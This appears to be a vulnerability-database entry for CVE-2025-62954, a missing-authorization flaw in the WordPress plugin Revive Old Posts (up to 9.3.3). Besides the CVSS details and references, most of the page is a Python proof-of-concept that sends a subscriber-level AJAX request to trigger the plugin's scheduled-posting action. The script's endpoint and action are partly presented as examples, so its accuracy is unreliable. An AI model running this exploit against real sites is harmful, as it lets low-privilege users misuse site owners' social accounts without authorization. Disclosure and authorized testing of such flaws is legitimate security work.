CVE-2025-62954

Description

Missing Authorization vulnerability in rsocial Revive Old Posts tweet-old-post allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Revive Old Posts: from n/a through <= 9.3.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Revive Old Posts (tweet-old-post) <= 9.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-62954 PoC - Missing Authorization in Revive Old Posts
# Target: WordPress site with Revive Old Posts plugin <= 9.3.3

target_url = "http://target-wordpress-site.com"

# Low-privilege user session (subscriber role)
cookies = {
    "wordpress_test_cookie": "WP+Cookie+check",
    # Add authenticated user cookies here
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "X-Requested-With": "XMLHttpRequest"
}

# Exploit: Access admin functions without proper authorization
def exploit_authorization_bypass():
    """
    The plugin's AJAX endpoints lack proper capability checks.
    This PoC demonstrates accessing protected functions as low-privilege user.
    """
    
    # Example vulnerable endpoint - plugin's social posting function
    vulnerable_endpoints = [
        f"{target_url}/wp-admin/admin-ajax.php",
        f"{target_url}/wp-admin/admin.php?page=tweet-old-post"
    ]
    
    # Payload to trigger the vulnerable function
    # This attempts to access posting functionality without admin privileges
    data = {
        "action": "rop_post_scheduled_content",  # Plugin's AJAX action
        "post_id": "1",
        "social_account": "1"
    }
    
    print("[*] Testing CVE-2025-62954 - Authorization Bypass")
    print(f"[*] Target: {target_url}")
    
    try:
        response = requests.post(
            vulnerable_endpoints[0],
            data=data,
            cookies=cookies,
            headers=headers,
            timeout=10
        )
        
        if response.status_code == 200:
            # Check if the request was processed without authorization
            if "success" in response.text or "posted" in response.text.lower():
                print("[+] VULNERABLE! Low-privilege user can access protected functions")
                print(f"[+] Response: {response.text[:200]}")
            else:
                print("[-] Possibly not vulnerable or need valid session")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit_authorization_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62954
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62954
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62954/
[4] VulDB https://vuldb.com/cve/CVE-2025-62954
[5] https://patchstack.com/database/Wordpress/Plugin/tweet-old-post/vulnerability/wordpress-revive-old-posts-plugin-9-3-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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